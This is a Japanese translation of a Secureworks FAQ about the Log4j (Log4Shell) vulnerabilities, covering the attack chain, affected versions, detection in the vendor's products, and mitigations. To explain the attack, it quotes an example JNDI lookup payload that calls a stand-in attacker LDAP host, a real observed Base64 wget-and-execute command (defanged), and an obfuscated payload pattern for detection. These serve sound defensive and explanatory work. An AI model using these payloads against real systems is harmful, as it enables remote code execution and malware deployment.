Secureworks®

Log4j の脆弱性に関して、よくある質問（FAQ）

2021 年 12 月 17 日（金）
著者：COUNTER THREAT UNIT リサーチチーム
最終更新日：2021 年 12 月 29 日

※本記事は、https://www.secureworks.com/で公開されている Log4j Vulnerability FAQs を翻訳したもので、 2021 年 12 月 29 日執筆時点の見解となります。

はじめに

Apache Software Foundation は 2021 年 12 月 9 日、Log4j のバージョン 2.0-beta9 から 2.14.1 までに影響を及ぼす重大なリモートコード実行の脆弱性（CVE-2021-44228、別名 Log4Shell）の修正版としてバージョン 2.15.0 をリリースしました。Log4j は、様々な Apache エンタープライズソフトウェアに組み込まれ、広く利用されている Java ベースのログ出力ライブラリです。12 月 9 日以降、Log4j ライブラリがさらに 2 回更新され、CVE-2021-45046（情報漏洩およびリモートコード実行に関する脆弱性）に対処するためのバージョン 2.16.0 に続き、12 月 18 日には CVE-2021-45105（悪用されると DoS 攻撃（サービス拒否攻撃）を招きかねない脆弱性）に対処するためのバージョン 2.17.0 がリリースされています。

当社の専門家が本件について解説し、ご質問にお答えするウェビナー（Log4j Vulnerability: Ask Secureworks Experts）を 12 月 15 日に開催しました。アーカイブ動画はこちらから視聴いただけます。関連するブログ（12/15 日付の Log4j：これまでにわかったこと、12 月 17 日付の Log4Shell: 攻撃は簡単でも、達成は困難？、12 月 22 日付の Log4j 対策: 脅威ハンティングに関するアドバイス）も合わせてご一読ください。

Q. この脆弱性の深刻度はどの程度なのか？

Log4j は幅広く利用されているソフトウェアライブラリであり、一定の条件下で CVE-2021-44228 と CVE-2021-45046 が悪用されるとリモートコマンドが実行される可能性があるため、深刻です。ログメッ

セージやそのパラメーターを制御できる攻撃者が脆弱なバージョンの Log4j を悪用して任意のコードを実行した場合、影響を受けるサーバーが完全に乗っ取られる恐れがあります。仮想通貨マイニングマルウェアなどの展開を目的とした攻撃の試みも広い範囲で報告されています。

Q. 脆弱性 CVE-2021-44228 の攻撃のメカニズムは？

この脆弱性は、Log4j によるログメッセージ処理に影響を及ぼすものです。攻撃者が、Log4j を利用しているシステム宛に特殊に細工したメッセージを送信すると、外部コードを読み込ませる（＝リモートコマンドを実行する）ことができます。

Veracode 社は 2019 年、CVE- 2021-44228 に関する複数のコンポーネントを検証し、その結果をブログで解説しています。この脆弱性の悪用には、Java Naming and Directory Interface (JNDI) が用いられています。JNDI とは、データやオブジェクトを名前で検出・検索するための機能をクライアントに提供する Java API です。攻撃者が検索したオブジェクトは、Remote Method Invocation（RMI）、Lightweight Directory Access Protocol (LDAP)、Domain Name Service（DNS）などの仕組みを介して別のネーミングサービスやディレクトリサービスに保存される可能性があります。

想定される攻撃の流れは以下のとおりです。

1. 攻撃者が、悪意あるペイロードを仕込んで細工した文字列を、CVE-2021-44228の脆弱性が存在するシステムに送信。文字列は、ユーザーエージェント文字列、リファラー、ユーザー名またはメールアドレス、デバイス名、フリーテキスト入力など、システムがログに記録する任意のフィールドを介して送信可能

2. ${jndi:ldap://attacker.com/a} のような形式の文字列（attacker.comの部分は、攻撃者が制御するLDAPサーバー）がLog4jに転送され、ログとして記録される

3. このペイロードによってLog4jの脆弱性がトリガーされ、脆弱なシステムがJNDIを介して前述のLDAPサーバーにクエリを実行する

4. 攻撃者のLDAPサーバーからの応答で、リモートJavaクラスファイル（hXXp://second-stage.attacker.com/Exploit.classなど）を含む情報が返される

5. このJavaクラスがデシリアライズ（ダウンロード）され、実行される

スイス政府のコンピューター緊急事態対策チーム（CERT）である：GovCERT.ch は、今回の攻撃チェ

Secureworks®

ーンをフロー図とともに解説したブログ（Zero-Day Exploit Targeting Popular Java Library Log4j）を公表しています。

当社が収集するお客様環境の監視データを見ても、攻撃者がマイニングマルウェアのダウンロードなどを行うための Base64 エンコードされたコマンドを送信し、脆弱性の悪用を試みていることがわかります。以下は、実際のコマンドの一例です。

{jndi:ldap://<redacted_IP>:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9s

Base64 デコード後（無害化済み）： wget hXXp://62.210.130[.]250/lh.sh;chmod +x lh.sh;./l

Q. どのようなソフトウェアが影響を受けるのか？

広範囲なソフトウェア製品に影響が出る可能性があります。脆弱性の判明を受けてベンダー各社が公表したアドバイザリをリサーチャーが取りまとめた包括的なリストをこちらからご覧いただけます。また、オランダ政府のサイバーセキュリティセンターが取りまとめた、影響を受けるソフトウェア製品をほぼすべて網羅したリストをこちらからご覧いただけます。

Q. セキュアワークスに社内環境のチェックを依頼し、影響を受けたシステムを特定してもらうことはできるのか？

Secureworks® Taegis™ VDR をご利用中のお客様は、12 月 12 日に導入された検出機能をお使いいただけます。スキャンされた脆弱性リスクのある資産に対し、脆弱性がトリガーとなる仕組みのリクエストを送信することで、脆弱な Log4j の有無を特定します。デフォルト設定では週 1 回のスキャン頻度となっていますが、翌週の定期サイクルを待たずに手動でスキャンを実行し、検出結果をいち早くご確認いただくこともできます。手動スキャンの設定手順は以下のとおりです。

1. 検索クエリを使って、影響を受ける恐れがある資産をすべて選択する

2. Taegis™ VDR画面右上の[scan]アイコンをクリックする

Q. セキュアワークスは今回の脆弱性による影響を受けたのか？

当社は、CVE-2021-44228、CVE-2021-45046、CVE-2021-45105 に対する緩和策を実施済

Secureworks®

みです。また、社内ネットワーク上でも悪質な活動は確認されていません。当社のオンプレミス製品は Log4j を実行していないため、今回の脆弱性による影響は受けません。

当社のインターネット接続システムおよびオンプレミス製品にこれらの脆弱性が存在しないことは、Taegis 開発部門によって確認されています。また、インターネットに公開されてない一部の Java を使っている社内システムについては引き続き分類リストを作成し、システム更新を行っています。

Q. インストール済みの Taegis には影響が出るのか？

現在までの分析によると、お客様環境にインストール済みの Taegis XDR データコレクターは、今回の脆弱性による影響を受けないものと見られます。当社は引き続き、Log4j の脆弱性について調査・検証を重ね、新たな展開が判明し次第、必要な措置を講じます。

Q. セキュアワークスの顧客で、今回の脆弱性が実際に悪用された事例はあるのか？

当社のお客様環境における大量の攻撃は確認されていませんが、何らかの行為が検知された一部のお客様には個別に通知済みです。今後とも監視を続け、該当するお客様には適宜通知いたします。また、攻撃の達成が当初の想定よりも少ない理由については、こちらのブログ（Log4Shell:攻撃は簡単でも、達成は困難？）に、当社の見解をご紹介しています。

Q. 世間に出回っている Log4j の脆弱性を狙った攻撃は、Taegis で実際に確認されているのか？

はい。当社が確認した悪意ある IP アドレスは、GitHub 公開レポジトリにて公表しています。

Taegis をご利用中のお客様全体で確認されている Log4j に関連するイベントの大半は、無害な事象（脆弱なインスタンスのチェックを目的とした世界各地のリサーチ/オペレーション担当部門によるスキャン行為）です。Taegis のデータを見ると、脆弱性の特定および修復に向けた対応が広範囲にわたって実施されていると言えます。

ただし、脆弱性スキャンや探索的なリサーチ活動とは異なる特性を示し、悪意のある活動も一部確認されています。例として、初期アクセスに必要な悪意あるスクリプトのダウンロード、仮想通貨マイニングマルウェアの起動、標的システムで発見した認証情報の窃取、脆弱性の確認・攻撃の下調べ、リモートシェルの実行などを目的とした攻撃の試みが Taegis で確認されています。

当社は企業や組織の統合的なネットワーク防御を支援し、全世界のセキュリティコミュニティの一員として緊急事態に立ち向かうという意志のもと、通常のスキャン行為やリサーチ目的のトラフィックとは異なる特性を示す、

Secureworks®

悪意ある IP アドレスを一覧化して公表しています。当社のマネージド・セキュリティ担当チームでは当該 IP アドレスに関する活動に対して、どのタイミングでどのようにアラートを送信すべきか常に検討しています。しかし、こうした行為がリモートコード実行に発展したケースはほとんど確認されていません。したがって当社では、これらの IP アドレスを検知しても Taegis の自動アラートを送信するのではなく、積極的な脅威ハンティング（侵入証跡の探索）の材料として役立てるという決断に至りました。

該当する IP アドレスのデータは、当社が投稿した GitHub 公開レポジトリからご覧いただけます。当社は今後とも、世界各地の関係者が Log4j に関する新たな情報を更新し、脆弱性の解明・検知および攻撃の阻止に向けて協力できるよう、支援を続けます。

Q. 攻撃を検知するために、どのような対策プログラムが実装されたのか？

今回の脆弱性（CVE-2021-44228、CVE-2021-45046、CVE-2021-45105）悪用の主な標的は、ユーザー入力ログを Log4j で管理しているリモートアクセス可能な公開サービスです。攻撃者は、HTTP ヘッダー（User-Agent、Authorization、Cookies など）、ユーザー名、メールアドレス、フリーテキスト入力の文字列などに細工を施したメッセージを送信し、入力情報としてログに記録させることで脆弱性を悪用します。そのため当社では、Log4j の脆弱なバージョンが使われているシステムにおける攻撃検知の主な手段として、ネットワーク侵入検知と防御に関する対策プログラムを実装しました。これにより、複数のサービス（LDAP、RMI、DNS、NIS、IIOP、CORBA）全体にわたる不審な JNDI 名前解決、侵入行為、第二段階のペイロード配信を検知できます。

重要な点として、この脆弱性を悪用した攻撃者がリモートコードを実行するためには、さらなるコマンドやツールの実行・展開が必要となります。当社では、こうした侵入後の活動を検知するためのネットワーク/エンドポイント対策プログラムを豊富に取り揃えています。以下は、侵入後の活動の一例です。

- 仮想通貨マイニングマルウェア、ランサムウェア、Webシェル、侵入後の攻撃フレームワーク（Cobalt Strike、Metasploitなど）の展開
- 疑わしいプロセスの起動（JavaやTomcatのWebサーバーから実行される不審なプロセスなど）
- 認証情報の窃取ツールやテクニックの使用
- 対象環境全体での横断的侵害
- 上記以外にも、マルウェアの個別対策や振る舞いベースの対策プログラムを多数適用しています。

他にも、難読化された JNDI 名前解決の検知項目などを用いて、今般の問題に対処可能なネットワーク／エンドポイント向け対策プログラムをリサーチ・開発中です。リサーチ・開発段階の状態の対策プログラムで確認できた True Positive アラートについては、個別にお客様に通知します。

また、iSensor™すべてに実装済みのネットワークシグネチャーが、設定された iSensor ポリシーに従ってアラートを自動生成、またはトラフィックを自動ブロックします。本番ネットワークにおける侵入行為やペイロード配信などもこれらのシグネチャーが検知します。

Taegis™ XDR のイベントフィルターも拡充しました。フォーマット変換した Red Cloak™ウォッチリスト、スクリプトブロック用のイベントフィルター、HTTP イベントフィルタに変換した iSensor のシグネチャーを組み合わせ、Taegis™ XDR イベントフィルターの機能として実装しました。また、これらのフィルターは自動でアラートを生成しお客様に通知します。

当社のリサーチチームはさらに、難読化された JNDI 名前解決がコマンドラインに含まれる不審なプロセスを検知するためのエンドポイント対策プログラムも追加しました。これらの対策により、侵入した環境内の CVE-2021-44228 や CVE-2021-45046 および 45105 に脆弱なサービスを悪用してホスト間を横断的侵害しようとする攻撃者を検知できます。

サードパーティー製デバイスについては、最新版の対策がベンダーからリリースされる都度、当社のデバイス管理セキュリティチームによって適用されます。

今後とも新たな情報が入り次第、当社製品すべてに対策プログラムを追加していきます。

Q. Taegis NGAV （次世代アンチウイルス）機能を使えば、今回の攻撃を阻止できるのか？

いいえ。ただし、エンドポイントエージェントおよび NGAV を使うことで、マルウェアや仮想通貨マイニングマルウェアなどによる後続的な活動を検知できると考えています。

Q. Log4j に関する脆弱性の原因は 5 年前の Black Hat カンファレンスで報告されていたようだが、同じ攻撃手法が過去にも使用された可能性はあるのか？

過去に Log4j が悪用されたという事例は当社の調べでは確認されていません。今回の脆弱性のうち、CVE-2021-44228 については 11 月 24 日ごろに詳細内容が Apache に報告された模様ですが、同日以前に悪用された証跡は当社では把握していません。

Q. CVE-2021-45046 と CVE-2021-45105 の判明経緯、および顧客側の自衛策を教えてほしい。

Apache は 12 月 14 日、CVE-2021-45046（リモートコード実行の脆弱性）に対処すべく Log4j の更新版（バージョン 2.16.0）を配布しました。CVE-2021-45046 の影響を受ける Log4j のバー

ジョンには、12 月 9 日にリリースされた 2.15.0（CVE-2021-44228：Log4Shell に対処するための修正版）も含まれます。12 月 18 日には、CVE-2021-45105 への対処を目的としたバージョン 2.17.0 がリリースされました。当該脆弱性は、Apache Log4j の 2 系バージョン（2.0-alpha1 から 2.16.0 まで）に影響するもので、Thread Context Map (MDC)の入力データを制御する攻撃者によって再帰問い合わせを含む悪意ある入力データが作成されると、プロセスの中断および DoS 攻撃（サービス拒否攻撃）を引き起こす恐れがあります。

各組織は、Apache の Log4j セキュリティ情報一覧に掲載されるアドバイスをこまめにチェックし、最新バージョンへのパッチ適用をお願いします。パッチが適用できない場合は、Apache が推奨する緩和策を実施してください。

Q: CVE-2021-44832 の判明経緯、および顧客側の自衛策を教えてほしい。

2021 年 12 月 28 日、Log4j のリモートコード実行に関する新たな脆弱性（CVE-2021-44832）に対処するための更新版（バージョン 2.17.1）がリリースされました。当該脆弱性の影響を受ける Log4j のバージョンは、2.0-beta7 から 2.17.0 までです。この脆弱性は、ログ設定ファイルを改変可能な攻撃者、つまり標的サーバー上ですでに行動可能な攻撃者でなければ悪用できません。最初に判明した脆弱性（Log4Shell：CVE-2021-44228）は標的サーバーへのアクセスを確立していなくても悪用できる状態だったため、今回判明した CVE-2021-44832 の深刻度はこれよりもかなり低くなります。この微妙ながらも重要な違いが反映され、共通脆弱性評価システム新バージョン（CVSS v3）スコアでは CVE-2021-44832 の深刻度が「6.6＝moderate（中程度）」となっています。

12 月 9 日に Log4j の脆弱性 CVE-2021-44228 が公表されて以来、複数の更新版がリリースされてきましたが、バージョン 2.17.1 はその最新版となります。この直前のバージョン 2.17.0 は、再帰的な処理で DoS 攻撃につながる脆弱性（12 月 16 日に公表された CVE-2021-45105）に対処すべく、12 月 18 日にリリースされました。短期間で何度も更新版がリリースされたことは、それほど驚くことではありません。12 月 9 日以降の Log4j ライブラリがそうであったように、あるソフトウェアが突然注目されて徹底的に精査されると、コードの振る舞いが何度も検証されるため、新たな脆弱性が次々に判明することがあります。12 月 9 日以降に判明した脆弱性はこれで 5 件となりますが、最初の脆弱性（Log4Shell：CVE-2021-44228）に比べると、2 件目以降はいずれもさほど深刻ではありません。

それでも、自組織を守るためには Log4j を最新バージョンにアップグレードする、または Log4j を実行するサードパーティー製アプリケーションをベンダーの指示に従ってアップグレードすることを推奨します。なお、最初の脆弱性（Log4Shell）に対する攻撃検知のネットワーク対策プログラムは、今回判明した最新の CVE に対しても有効です。

Secureworks®

Q.　Log4j の 1 系バージョン(1.x)は影響を受けるのか？

1 系バージョンにはメッセージレベルでの JND 名前解決のメカニズムが搭載されていないため、CVE-2021-44228 による影響はありません。

ただし、JMSAppender を設定ファイル上で有効化すると JNDI 名前解決が実行されます（デフォルト設定では無効）。この脆弱性は、新たな CVE（CVE-2021-4104)として採番されました。緩和策として、Log4j の設定を調べ、JMSAppender が有効になっていないことを確認しましょう。

本件についての正式な見解は、Apache の Log4j セキュリティ情報一覧から入手してください。なお、Log4j の 1 系バージョンはすでにライフサイクルが終了し、サポート対象外であることにご注意ください。セキュリティパッチを入手するためには、Log4j の 2 系バージョンへのアップグレードが必要となります。

Q. この脆弱性によって影響を受ける JAR ファイルの種類は？また、Log4j 以外の Apache Logging Services プロジェクト（log4net、log4cxx など）にも影響が出るのか？

Apache の公式ガイダンスでは、CVE-2021-44228 の影響を受ける JAR ファイルは log4j-core のみとなっています。log4j-api の JAR ファイルを単独で使っているアプリケーションは今回の脆弱性の影響を受けません。

Q. 脆弱なファイルをシステムから削除することはできるのか／削除すべきか？

この数日間、影響を受けるシステムやアプリケーションの修正が次々に公開されています。Apache が提供する最新ガイダンス、またはアプリケーションベンダーが提供する最新の手順をご参照ください。

Q. 脆弱なシステムをすぐにパッチ修正できない場合、どのような緩和策を実施すれば良いか？

自衛策として、いくつかのステップがあります。システム変更は可能だがパッチを適用できないという場合は、影響を受ける JAR ファイルに対してコマンド
「zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class」
を実行して JndiLookup クラスを削除することで影響を緩和できますので、ご検討ください。

その他、以下の緩和策もご検討ください：

- バージョン2.10以降：システムプロパティ「log4j2.formatMsgNoLookups」を「true」に設定して名前解決を無効化する

- バージョン2.10以降：環境変数「LOG4J_FORMAT_MSG_NO_LOOKUPS」を「true」に設定する
- 2.10より前のバージョン：メッセージ文字列の名前解決を無効にする（%m{nolookups}のような形式にする）

ただし、Apache は「包括的な対策としては不十分」だとして、上記の項目を推奨策から除外しました。名前解決を設定上無効化することで、現在発生している汎用的なスキャン行為の大半は阻止できますが、設定に関係なく名前解決のコードを呼び出すパスが残っているため脆弱性を悪用されるリスクは残ります。

脆弱なシステムを変更できない／システム変更を希望しない場合は、以下をご検討ください。

- 脆弱なシステムに攻撃者が到達できないよう、トラフィックを常にiSensor/WAF/IPS経由させる
- 脆弱なシステムに到達するトラフィックの量を抑える。インターネット接続不要なシステムは、必要かつ信頼できる侵入検知システム（IPS）やIPアドレスレンジとの接続だけを許可する
- 対象ホストの外向き通信を制限する。この攻撃は悪意あるサーバーを介するため、不要なIPアドレスやポートへの通信はすべてブロックする
- 不要なサービスであれば、パッチが利用可能になるまで停止させる

Q. 脆弱性スキャン以外に、影響を受けるシステムを特定する方法はあるのか？

ご質問の焦点を「脆弱性があるシステム、侵害されたシステム」に置き換えてみましょう。システムを特定するためのステップは複数ありますが、大きく２つのステップ（①攻撃されるリスクがある脆弱なシステムの特定、②該当するシステムの Log4j バージョンおよび侵害痕跡の確認）に集約できます。セキュリティ担当チームは、まずインターネットに公開されているシステムから着手し、徐々に組織内部に向けて作業するとスムーズに進みます。注：脆弱な Log4j を使っているシステムは、たとえ外部非公開であっても外部公開されたシステムからのログ転送が行われていれば攻撃される可能性があります。

脆弱なシステムを特定するには、Log4j を使用中のシステムを探しましょう。実行中のプロセスまたはアプリケーション起動時のパラメーターを調べ Log4j のバージョン情報を確認するか、ネットワークスキャナーで確認することができます。脆弱性が疑われるシステムを特定できたら、システム／サーバーログを確認し、悪用目的のスキャンやサーバークラッシュの履歴がないか検証しましょう。たとえば攻撃が成功すると、Tomcat/Catalina サーバーがクラッシュすることがあります。これによりアクセスログが残らない状態（ギャップ）が生まれますが、Catalina のログにはクラッシュレポートと再起動ログが記録されます。さらに攻撃の成功を示す新規ファイル／プロセスの作成や外向きの通信(netstat)がないか確認しましょう。

影響を受けるシステムを特定するには、ファイアウォールや DNS ログも役立ちます。ここでも、外部公開システムの IP アドレスをもとに、該当するシステムから不審なアドレスへの外向き通信のセッションが作成されていないかどうか確認しましょう。プロトコルやポートも隅々までチェックしてください。外部公開システムからの新たな FQDN に対する名前解決も、DNS ログで確認できます。これを効果的に行うためには、該当システムのログを DNS サーバーで記録する必要があります。ファイアウォールや DNS ログが利用できない場合は、ネットワークのフローデータで代用できます。新規作成された外向き通信のセッションを特定する際もネットワークのフローデータが役立ちます。検証する際は、ベースラインを 2021 年 12 月 1 日近辺に設定し、12 月 9 日～10 日およびそれ以降に外部公開システムから確立された外向き通信を重点的にチェックしてください。

ネットワーク侵入検知システム(IDS)およびフルパケットキャプチャー機能付きセンサーからも、Log4j 関連のセキュリティ対策に役立つ豊富な情報を得られます。IDS ベンダー各社は攻撃を検知できるよう、最新のシグネチャーやルールを提供しています。最新のシグネチャーを適用することで（場合によっては多少のチューニングも行うことで）IDS が外部公開システムの外向き通信を監視できます。ただし、ネットワーク IDS は暗号化されたトラフィックを復号しないため、その内容までは精査できません。

影響を受けたシステムを特定するには、エンドポイントの脅威検知・対応（EDR）ツールも非常に役立ちます。ホストベースの EDR ツールを使って脆弱性の悪用を検知することは困難ですが、システム侵入後における攻撃者による攻撃活動の検知は可能です。侵入後の活動パターンについては様々な資料が公開されており、類似した活動を検知するための対策が数多く開発・提供されています。インシデント発生時に EDR ツールが導入されていなかったとしても、事後対応として導入することで、その瞬間のシステムの状態（実行中のプロセス、起動時のパラメーター、ネットワーク接続など）を可視化できます。

最後に、影響を受けるシステム／アプライアンスまたはアプリケーションがベンダーによるサポート対象の場合、販売元の情報を確認しましょう。アプリケーションやアプライアンスによっては、顧客側のアクセス範囲が限定されている場合があります。また、今般の問題解決にあたり、ベンダーから更新版がリリースされている場合もあります。

Q.　セキュアワークスのサービス利用者（顧客）として、どのように自衛すべきか？

Log4j の脆弱なバージョンを使っているシステムを積極的にチェックするようお勧めします。その際は、攻撃リスクが最も高いシステム（おそらくインターネット接続システム）を最優先にチェックしてください。攻撃が試行されると、${jdni:ldap:// を含む URL 文字列が高い確率でログに残ります。攻撃者は、{jndi:${lower:l}${lower:d}a${lower:p} などの文字列を含むリクエストを使って前述の URL パターンを難読化する場合もあります。Apache のセキュリティ情報一覧を参照し、現在利用しているシステムの Log4j を最新バージョンにアップグレードしてください。

Secureworks®

パッチ適用ができない場合は、Apache が推奨している緩和策をご参照ください。この情報は定期的に更新されています。

他にも、以下のような緩和策があります。

- システム隔離用のVLANを別途作成し、オペレーションを維持しつつ、侵害された場合の影響を極小化する
- ネットワークとホストベースのファイアウォールの設定を変更し、信頼できるシステム以外への通信を大幅に制限する。これもまた、リスクを抱えたままシステムの機能を維持する方法です（攻撃者が脆弱性を悪用して悪意あるペイロードを送り込むためには外向き通信が必要となるため）

上記をまだ実施していない場合は、収集されているログの種類を確認し、SIEM で一元監視できるようにログを集約しましょう。他のシステムと同様、お使いの SIEM についても Log4j の影響有無を確認し、必要に応じて更新してください。システム侵害が疑われる、またはその証跡を発見した場合は当社のインシデント対応チームにご連絡ください。24 時間 365 日体制でお客様をサポートします。

Q. HTTP ではなく HTTPS 経由のトラフィックについても、ネットワーク上の攻撃を検知できるのか？

お使いの IDS/IPS 搭載アプライアンスの種類を問わず、ネットワーク防御を効果的に実施するには、SSL ターミネーションが必要です。これにより、IDS/IPS のコントロール機能で SSL トラフィック（HTTPS など）の内容を調査できるようになります。

Q. サーバー上で Log4j が稼働しているか否かを Red Cloak で特定できるのか？

Red Cloak では、Log4j ライブラリを使ったソフトウェアを実行しているシステムを特定して一覧化することはできません。脆弱なシステムの特定に最適な方法は、資産管理ツールを使った調査や、Taegis™ VDR などの認証済ネットワークスキャンツールによる調査です。ネットワークスキャンツールが利用できず、資産管理用リソースがない場合は、実行中のプロセスまたはアプリケーション起動時のパラメーターを見ることで、Log4j のバージョン情報を確認できます。

Q. Log4j の脆弱性が悪用されたか否かを Red Cloak で検知できるのか？

今回の脆弱性の特性を踏まえると Red Cloak を使って脆弱性が悪用されたこと検知することは困難です。しかしながらネットワーク内のあるシステムから別のシステムに対してこの脆弱性を悪用して横断的侵害する試みについては検知できる可能性があります。

Secureworks®

ご質問の回答にあたり、重要なポイントは以下の 2 点です。

1. CVE-2021-44228の悪用手法は、ネットワーク経由のため、ネットワーク検知機能を使うことが最も効果的です。当社のiSensorやTaegisには、ネットワーク上で発生したLog4j関連の脅威を検知するためのイベントフィルタが多数実装されています。

2. 重要な点として、この脆弱性を悪用した攻撃者がリモートコードを実行するためには、さらなるコマンドの実行やツールの展開が必要となります。当社では、以下に例示しているような侵入後の活動を検知するための膨大な数のネットワーク/エンドポイント対策プログラムを実装しています。

    - 仮想通貨マイニングマルウェア、ランサムウェア、Webシェル、Post-Exploitation フレームワーク（Cobalt Strike、Metasploitなど）の展開
    - 疑わしいプロセスの起動（JavaやTomcatのWebサーバーから実行される不審なプロセスなど）
    - 認証情報の窃取ツールやテクニックの使用
    - 対象環境全体での横断的侵害
    - 上記以外にも、マルウェアの個別対策や振る舞いベースの対策プログラムを多数適用しています。

Q.　iSensor に自動適用される Log4j に関するブロックすべき IP アドレスのフィードはあるのか？

侵入後の活動が確認された場合は、当該インジケーター（活動の痕跡）を適宜 iSensor に反映します。iSensor に実装されたネットワーク対策プログラムのブロック機能が、設定された iSensor ポリシーに従ってアラートを自動生成、またはトラフィックを自動ブロックします。

現在発生しているスキャンの実行元 IP アドレスを見ても、攻撃が成功したか（侵入の有無）を判別できないため、参考にはなりません。また、当該アドレスが検知される度にアラートを配信すると、重大なアラートが見過ごされてしまう恐れがあります。インバウンドのスキャン行為と一致するインジケーターをアラート化すると、精度の低いノイズが大量に生成され、対応の妨げとなる恐れがあります。

Q. 既知の攻撃元 IP アドレスは、CTP プラットフォームによる自動ブロックの対象になるのか？

CTP は侵入防止を目的とした製品ではないため、自動ブロックは実行しません。脅威インジケーターに基づくブロック有無は、CTP マネージドサービスをご利用されるお客様側のシステム管理に依存します。侵入防止・システム管理に関する当社の主な製品は iSensor です。

Secureworks®

Q. 脅威インジケーターは、顧客向けのブロックリストに追加されるのか？

侵入後の活動が確認された場合は、当該インジケーター（活動の痕跡）を捕捉し、AttackerDB に適宜反映した後、Taegis XDR および CTP に展開します。現在発生しているスキャンの実行元 IP アドレスを見ても、攻撃が成功したか（侵入の有無）を判別できないため、参考にはなりません。また、当該アドレスが検知される度にアラートを配信すると、重大なアラートが見過ごされてしまう恐れがあります。インバウンドのスキャン行為と一致するインジケーターをアラート化すると、精度の低いノイズが大量に生成され、対応の妨げとなる恐れがあります。

Q. Snare は Log4j の脆弱性による影響を受けるのか？

SnareAgents を含む Snare ソリューションは、Log4j の脆弱性による影響を受けません。

ログ管理およびレポート用システムの Snare Central も、デフォルト設定であれば脆弱性はありません（デフォルト設定では Java コンポーネントを実行しないため）。ただし、アナリティクスアプリケーションのアドオン機能である Elasticsearch オプションをお客様側で有効化している場合は、脆弱性のリスクがあります。Elasticsearch へのアクセスは認証プロキシのみに限定されており、ネットワークからは直接アクセスできません。外部から直接アクセスできる唯一の手段は、サーバー上の既存シェル、またはシステムコンソール経由の接続となります。

Log4j と Snare に関する記事および詳細情報（The Log4j Vulnerability and Snare）が Snare 社から公開されていますのでご一読ください。お使いの Snare Central で Elasticsearch が有効化されている場合のリスク緩和策も掲載されています。Log4j と Snare に関するご質問は、同社の窓口（snaresales@prophecyinternational.com）までお問い合わせください。

Q. Taegis XDR/ManagedXDR の利用客が Log4j の脆弱性による侵害を受けたか否かを特定するために、セキュアワークスではどのような策を講じているのか？

当社は今回のインシデント発生以来、スキャン行為や攻撃を特定するために、お客様環境の監視を続けてきました。お客様環境を狙ったスキャン行為や攻撃のほか、既存の対策プログラムでは検知できない侵入後の活動の証跡を特定するために、収集したあらゆるデータを駆使し、脅威ハンティングを実施しました。この活動は今後とも続ける予定です。攻撃が確認されたお客様には個別に通知済です。
また、（脆弱性の有無を問わず）組織内部でのスキャン行為が確認されたお客様については、検知結果に応じて「Log4Shell Post Exploitation Threat Hunt」という調査項目を Taegis ポータル画面に表示します（近日中に開始）。

Secureworks®

一部のお客様のスキャンでは Log4j の脆弱性が確認されていますが、今日までに攻撃が確認されたケースはほとんどありません。今後ともお客様環境を 24 時間 365 日体制で監視し、不審な振る舞いが検知された場合は速やかに通知します。

Q.　LogVault 製品は Log4j の脆弱性による影響を受けるのか？

当該製品には、TIBCO Software Inc.が開発した LogLogic というソフトウェアが採用されています。当社は LogVault 搭載デバイスを管理していますが、ソフトウェアの所有者は TIBCO 社です。

Log4Shell に関する同社の見解は 12 月 16 日まで公表されていなかったため、当社では影響を緩和するためサービスを一時停止*せざるを得ませんでした（*デバイスの停止、サービス中断を伴う修正など）。

12 月 16 日、TIBCO 社から「影響を受ける LogLogic のバージョンは 6.3.1 のみである」という発表がありました。当該バージョンを使っている LogVault 製品は、全体のおよそ四分の一でした。このガイダンスをもとに、該当するシステムへの修正パッチを当社にて開発し、お客様のシステムへの適用を終えました。

参照先

- Log4j – Apache Log4j Security Vulnerabilities : Log4jセキュリティ情報一覧
- NVD – CVE-2021-44228：CVE-2021-44228に関するNVDの公開情報
- BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-19 2222 UTC：影響を受ける可能性があるベンダー各社の声明
- log4j-analysis/taegis-log4j-ip-analysis.tsv at main · secureworks/log4j-analysis：Taegisが遠隔収集したデータにもとづくIPアドレス一覧